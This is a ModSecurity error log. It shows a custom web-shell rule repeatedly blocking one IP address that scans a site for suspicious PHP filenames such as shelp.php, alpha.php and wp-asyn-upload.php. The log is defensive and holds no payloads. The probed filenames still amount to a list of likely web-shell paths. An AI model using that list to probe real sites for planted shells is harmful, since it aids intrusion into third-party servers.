[Fri Apr 24 08:31:04.012982 2026] [:error] [pid 19200:tid 19213] [client 51.120.70.44:59389] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aeq5yDQ--M3-tsKAnhEWAwAAAMU"]
[Fri Apr 24 08:31:05.272045 2026] [:error] [pid 19102:tid 19184] [client 51.120.70.44:55506] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aeq5yQDSgrbLEZbkqD4kuAAAAJQ"]
[Fri Apr 24 08:31:05.986748 2026] [:error] [pid 19200:tid 19230] [client 51.120.70.44:47095] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aeq5yTQ--M3-tsKAnhEWEQAAANY"]
[Fri Apr 24 08:31:06.736276 2026] [:error] [pid 19102:tid 19166] [client 51.120.70.44:55541] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aeq5ygDSgrbLEZbkqD4kvAAAAII"]
[Fri Apr 24 08:31:07.522497 2026] [:error] [pid 52129:tid 52142] [client 51.120.70.44:46132] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aeq5y-KCZKf8_u2LKiAOSwAAAQk"]
[Fri Apr 24 08:31:08.371932 2026] [:error] [pid 52129:tid 52140] [client 51.120.70.44:65255] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aeq5zOKCZKf8_u2LKiAOVAAAAQc"]
[Fri Apr 24 08:31:08.924278 2026] [:error] [pid 52129:tid 52136] [client 51.120.70.44:57306] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aeq5zOKCZKf8_u2LKiAOWQAAAQM"]
[Fri Apr 24 08:31:09.817379 2026] [:error] [pid 19100:tid 19110] [client 51.120.70.44:46095] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aeq5zbF_hzQs4CqbifdSVwAAAAE"]
[Fri Apr 24 08:31:10.777617 2026] [:error] [pid 19200:tid 19213] [client 51.120.70.44:55488] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aeq5zjQ--M3-tsKAnhEWKgAAAMU"]
[Fri Apr 24 08:31:11.628376 2026] [:error] [pid 52129:tid 52156] [client 51.120.70.44:59437] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aeq5z-KCZKf8_u2LKiAOXgAAARc"]
[Fri Apr 24 08:31:12.692730 2026] [:error] [pid 52129:tid 52151] [client 51.120.70.44:65236] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "aeq50OKCZKf8_u2LKiAOZAAAARI"]
[Fri Apr 24 08:31:13.416329 2026] [:error] [pid 52129:tid 52146] [client 51.120.70.44:59341] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "aeq50eKCZKf8_u2LKiAOaAAAAQ0"]
[Fri Apr 24 08:31:13.971121 2026] [:error] [pid 52129:tid 52138] [client 51.120.70.44:65272] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "aeq50eKCZKf8_u2LKiAOagAAAQU"]
[Fri Apr 24 08:31:14.625323 2026] [:error] [pid 19101:tid 19153] [client 51.120.70.44:59888] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "aeq50mAHj9bEvrTgbO0b4AAAAFA"]
[Fri Apr 24 08:31:15.664484 2026] [:error] [pid 52129:tid 52140] [client 51.120.70.44:57296] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "aeq50-KCZKf8_u2LKiAObQAAAQc"]
[Fri Apr 24 08:31:16.486729 2026] [:error] [pid 19200:tid 19220] [client 51.120.70.44:65390] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "aeq51DQ--M3-tsKAnhEWRAAAAMw"]
[Fri Apr 24 08:31:33.035950 2026] [:error] [pid 52129:tid 52135] [client 51.120.70.44:58060] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeq55eKCZKf8_u2LKiAOxAAAAQI"]
[Fri Apr 24 08:31:33.802353 2026] [:error] [pid 52129:tid 52152] [client 51.120.70.44:57292] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeq55eKCZKf8_u2LKiAOyQAAARM"]
[Fri Apr 24 08:31:35.410505 2026] [:error] [pid 52129:tid 52151] [client 51.120.70.44:55495] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeq55-KCZKf8_u2LKiAOzAAAARI"]
[Fri Apr 24 08:31:36.183972 2026] [:error] [pid 52129:tid 52144] [client 51.120.70.44:63533] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aeq56OKCZKf8_u2LKiAOzQAAAQs"]
[Fri Apr 24 08:31:37.071499 2026] [:error] [pid 19200:tid 19221] [client 51.120.70.44:61107] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aeq56TQ--M3-tsKAnhEWewAAAM0"]
[Fri Apr 24 08:31:37.784132 2026] [:error] [pid 52129:tid 52146] [client 51.120.70.44:58057] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aeq56eKCZKf8_u2LKiAO1gAAAQ0"]
[Fri Apr 24 08:31:38.363135 2026] [:error] [pid 19102:tid 19186] [client 51.120.70.44:59429] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aeq56gDSgrbLEZbkqD4k9gAAAJY"]
[Fri Apr 24 08:31:38.919347 2026] [:error] [pid 19101:tid 19142] [client 51.120.70.44:59358] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "aeq56mAHj9bEvrTgbO0b-wAAAEU"]
[Fri Apr 24 08:31:39.545014 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:48164] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aeq56-KCZKf8_u2LKiAO4gAAAQY"]
[Fri Apr 24 08:31:40.229036 2026] [:error] [pid 19200:tid 19208] [client 51.120.70.44:62763] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aeq57DQ--M3-tsKAnhEWfgAAAMA"]
[Fri Apr 24 08:31:41.019488 2026] [:error] [pid 52129:tid 52149] [client 51.120.70.44:59862] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aeq57eKCZKf8_u2LKiAO6QAAARA"]
[Fri Apr 24 08:31:41.705896 2026] [:error] [pid 52129:tid 52145] [client 51.120.70.44:59899] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "aeq57eKCZKf8_u2LKiAO7AAAAQw"]
[Fri Apr 24 08:31:42.532137 2026] [:error] [pid 19200:tid 19214] [client 51.120.70.44:48140] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aeq57jQ--M3-tsKAnhEWgQAAAMY"]
[Fri Apr 24 08:31:43.326317 2026] [:error] [pid 19200:tid 19215] [client 51.120.70.44:61095] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aeq57zQ--M3-tsKAnhEWhgAAAMc"]
[Fri Apr 24 08:31:44.168401 2026] [:error] [pid 19102:tid 19173] [client 51.120.70.44:61087] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aeq58ADSgrbLEZbkqD4k_wAAAIk"]
[Fri Apr 24 08:31:45.201958 2026] [:error] [pid 19102:tid 19176] [client 51.120.70.44:65404] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asyn-upload.php"] [unique_id "aeq58QDSgrbLEZbkqD4lAQAAAIw"]
[Fri Apr 24 08:31:45.850795 2026] [:error] [pid 19200:tid 19225] [client 51.120.70.44:48160] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aeq58TQ--M3-tsKAnhEWjAAAANE"]
[Fri Apr 24 08:31:46.466362 2026] [:error] [pid 52129:tid 52139] [client 51.120.70.44:57286] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aeq58uKCZKf8_u2LKiAO_gAAAQY"]
[Fri Apr 24 08:31:47.219320 2026] [:error] [pid 19200:tid 19228] [client 51.120.70.44:61060] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aeq58zQ--M3-tsKAnhEWjwAAANQ"]
[Fri Apr 24 08:31:48.282322 2026] [:error] [pid 52129:tid 52154] [client 51.120.70.44:48165] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/redixsx.php"] [unique_id "aeq59OKCZKf8_u2LKiAPAAAAARU"]
[Fri Apr 24 08:31:49.084905 2026] [:error] [pid 52129:tid 52140] [client 51.120.70.44:48139] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeq59eKCZKf8_u2LKiAPBAAAAQc"]
[Fri Apr 24 08:31:49.794546 2026] [:error] [pid 19200:tid 19227] [client 51.120.70.44:59363] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeq59TQ--M3-tsKAnhEWmAAAANM"]
[Fri Apr 24 08:31:50.563666 2026] [:error] [pid 19102:tid 19175] [client 51.120.70.44:59361] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeq59gDSgrbLEZbkqD4lCAAAAIs"]
[Fri Apr 24 08:31:51.204511 2026] [:error] [pid 52129:tid 52151] [client 51.120.70.44:49352] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "aeq59-KCZKf8_u2LKiAPCAAAARI"]
[Fri Apr 24 08:31:51.787791 2026] [:error] [pid 19200:tid 19221] [client 51.120.70.44:61082] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aeq59zQ--M3-tsKAnhEWnQAAAM0"]
[Fri Apr 24 08:31:52.459383 2026] [:error] [pid 19200:tid 19224] [client 51.120.70.44:58068] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aeq5-DQ--M3-tsKAnhEWowAAANA"]
[Fri Apr 24 08:31:53.277055 2026] [:error] [pid 19102:tid 19169] [client 51.120.70.44:59877] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aeq5-QDSgrbLEZbkqD4lCQAAAIU"]
[Fri Apr 24 08:31:53.827223 2026] [:error] [pid 19100:tid 19109] [client 51.120.70.44:65392] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "aeq5-bF_hzQs4CqbifdSawAAAAA"]
[Fri Apr 24 08:31:54.421806 2026] [:error] [pid 19101:tid 19155] [client 51.120.70.44:20329] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aeq5-mAHj9bEvrTgbO0cEQAAAFI"]
[Fri Apr 24 08:31:55.233348 2026] [:error] [pid 52129:tid 52133] [client 51.120.70.44:62783] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aeq5--KCZKf8_u2LKiAPDQAAAQA"]
[Fri Apr 24 08:31:55.975532 2026] [:error] [pid 19200:tid 19212] [client 51.120.70.44:65385] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aeq5-zQ--M3-tsKAnhEWtAAAAMQ"]
[Fri Apr 24 08:31:56.563614 2026] [:error] [pid 19200:tid 19218] [client 51.120.70.44:65380] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/67.php"] [unique_id "aeq5_DQ--M3-tsKAnhEWuAAAAMo"]
[Fri Apr 24 08:31:57.104833 2026] [:error] [pid 19101:tid 19137] [client 51.120.70.44:49378] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aeq5_WAHj9bEvrTgbO0cHAAAAEA"]
[Fri Apr 24 08:31:57.830935 2026] [:error] [pid 19101:tid 19139] [client 51.120.70.44:57311] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aeq5_WAHj9bEvrTgbO0cIQAAAEI"]
[Fri Apr 24 08:31:58.362570 2026] [:error] [pid 19200:tid 19231] [client 51.120.70.44:59385] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aeq5_jQ--M3-tsKAnhEWxAAAANc"]
[Fri Apr 24 08:31:59.206876 2026] [:error] [pid 19200:tid 19225] [client 51.120.70.44:63492] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1mrX.php"] [unique_id "aeq5_zQ--M3-tsKAnhEWxwAAANE"]
[Fri Apr 24 08:32:00.559879 2026] [:error] [pid 19102:tid 19170] [client 51.120.70.44:59846] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aeq6AADSgrbLEZbkqD4lDgAAAIY"]
[Fri Apr 24 08:32:02.155313 2026] [:error] [pid 19102:tid 19183] [client 51.120.70.44:61104] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aeq6AgDSgrbLEZbkqD4lEwAAAJM"]
[Fri Apr 24 08:32:03.155976 2026] [:error] [pid 19200:tid 19226] [client 51.120.70.44:5234] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aeq6AzQ--M3-tsKAnhEWzgAAANI"]
[Fri Apr 24 08:32:03.966872 2026] [:error] [pid 52129:tid 52150] [client 51.120.70.44:42330] [client 51.120.70.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x402.php"] [unique_id "aeq6A-KCZKf8_u2LKiAPLQAAARE"]
